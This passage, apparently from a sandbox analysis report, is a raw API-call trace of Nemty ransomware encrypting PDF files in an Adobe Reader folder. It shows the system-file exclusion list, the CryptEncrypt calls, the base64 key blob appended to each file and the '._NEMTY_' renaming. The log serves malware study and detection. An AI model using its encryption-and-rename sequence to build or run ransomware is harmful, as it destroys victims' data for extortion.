10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Pointers.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\pointers.pdf._nemty_kgobjgd_")) returned 1 [0188.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0188.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.640] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb6cc, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0188.640] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0188.640] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0188.640] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0188.640] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0188.640] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.640] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0188.641] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0188.641] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0188.641] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0188.641] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0188.641] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0188.641] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0188.641] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.641] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0188.641] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0188.641] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0188.641] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0188.641] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.641] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0188.641] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0188.641] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0188.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0188.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.642] Sleep (dwMilliseconds=0x5) [0188.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24171890, dwHighDateTime=0x1d561e8)) [0188.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24171890, dwHighDateTime=0x1d561e8)) [0188.649] GetLastError () returned 0x0 [0188.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.649] GetLastError () returned 0x0 [0188.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.649] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.649] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.649] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.649] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="kCCoRwqLFEq0Xkr2yegwp97aCDjC2vHll/soCyofOvIk+6bA7KvStE41NHBkY2eH\r\n7sTYDBmVCGC1wqgDVtvH7UuQ/ny+T94S3G4GJu2IZ7zTLjz0QwHzJhTArWF2Of9T\r\n4gZL2iLp1P/3L9I5DwuS6oO+uKbkwsWDpWMEBP7MFSg4NWNGBctSHY3ruDt1AKH8\r\nqh2CAmnfQNWBCN2ZyMiPwufB9/IvMumhUaizftNODJQgJVYfQ3lpjjHhj2IO7gFY\r\n6oXh1tkWNsxZa3MJjI4iqbfNENreZIDhsjbRh4NGtgVMpU/QiHPPWBnWnLann0Bu\r\nou8D/fd+5uWTPGsoCEsmgg==\r\n", pcchString=0x653df5c) returned 1 [0188.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.649] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.650] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=46796) returned 1 [0188.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb6c0) returned 0x6352c48 [0188.650] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.650] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb6c0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xb6c0, lpOverlapped=0x0) returned 1 [0188.655] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.655] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb6c0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xb6c0, lpOverlapped=0x0) returned 1 [0188.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.655] SetFilePointer (in: hFile=0x320, lDistanceToMove=46796, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb6cc [0188.655] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.655] CloseHandle (hObject=0x320) returned 1 [0188.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0188.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0188.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.658] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0188.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0188.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.658] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0188.658] lstrcmpiW (lpString1="Standard.pdf", lpString2=".") returned 1 [0188.658] lstrcmpiW (lpString1="Standard.pdf", lpString2="..") returned 1 [0188.658] lstrcmpiW (lpString1="Standard.pdf", lpString2="...") returned 1 [0188.658] lstrcmpiW (lpString1="Standard.pdf", lpString2="windows") returned -1 [0188.658] lstrcmpiW (lpString1="Standard.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.658] lstrcmpiW (lpString1="Standard.pdf", lpString2="rsa") returned 1 [0188.659] lstrcmpiW (lpString1="Standard.pdf", lpString2="NTDETECT.COM") returned 1 [0188.659] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntldr") returned 1 [0188.659] lstrcmpiW (lpString1="Standard.pdf", lpString2="MSDOS.SYS") returned 1 [0188.659] lstrcmpiW (lpString1="Standard.pdf", lpString2="IO.SYS") returned 1 [0188.659] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0188.659] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0188.659] lstrcmpiW (lpString1="Standard.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.659] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntuser.dat") returned 1 [0188.659] lstrcmpiW (lpString1="Standard.pdf", lpString2="desktop.ini") returned 1 [0188.659] lstrcmpiW (lpString1="Standard.pdf", lpString2="CONFIG.SYS") returned 1 [0188.659] lstrcmpiW (lpString1="Standard.pdf", lpString2="RECYCLER") returned 1 [0188.659] lstrcmpiW (lpString1="Standard.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.659] lstrcmpiW (lpString1="Standard.pdf", lpString2="bootmgr") returned 1 [0188.659] lstrcmpiW (lpString1="Standard.pdf", lpString2="programdata") returned 1 [0188.659] lstrcmpiW (lpString1="Standard.pdf", lpString2="appdata") returned 1 [0188.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0188.660] Sleep (dwMilliseconds=0x5) [0188.664] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x241979f0, dwHighDateTime=0x1d561e8)) [0188.664] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x241979f0, dwHighDateTime=0x1d561e8)) [0188.664] GetLastError () returned 0x0 [0188.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.664] GetLastError () returned 0x0 [0188.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.664] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.665] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.665] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.665] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="h9zaqExvsUfN3fXjLvCGWNboHnQYEAPMxi1JY2Xh2La++xr6xQc9nE9EqYL5m0yP\r\nxVTTioC6+p5JHEGyqK2xosklnvjWUE5SZw01YsKpZUrLMEjfXu7TnHZL/FfQoQdT\r\nZe5j1dbcFHqVkUvZcUUQI/0qOZ+Gmqbjk+Y0DrxkIdLL65lp+cr+hjQH2TzjIEfR\r\nKnqcQQ6xAxqnM+P2y1aKgMCpZmBuKI5b0Ra4Y/4UDm6vYzvMNVxIsLv2N6P9k3If\r\nfj5JABd2XJjnBxSUdUc3wuMU/KDBENnSDjNzSSUb+6X/G26SSrgCx192bqOV8uXr\r\nDqYHmSYSgHvI7/et3OUcoA==\r\n", pcchString=0x653df5c) returned 1 [0188.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.665] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.665] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=115957) returned 1 [0188.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0188.665] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.665] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0188.674] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.674] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0188.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.674] SetFilePointer (in: hFile=0x320, lDistanceToMove=115957, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c4f5 [0188.674] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.674] CloseHandle (hObject=0x320) returned 1 [0188.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: 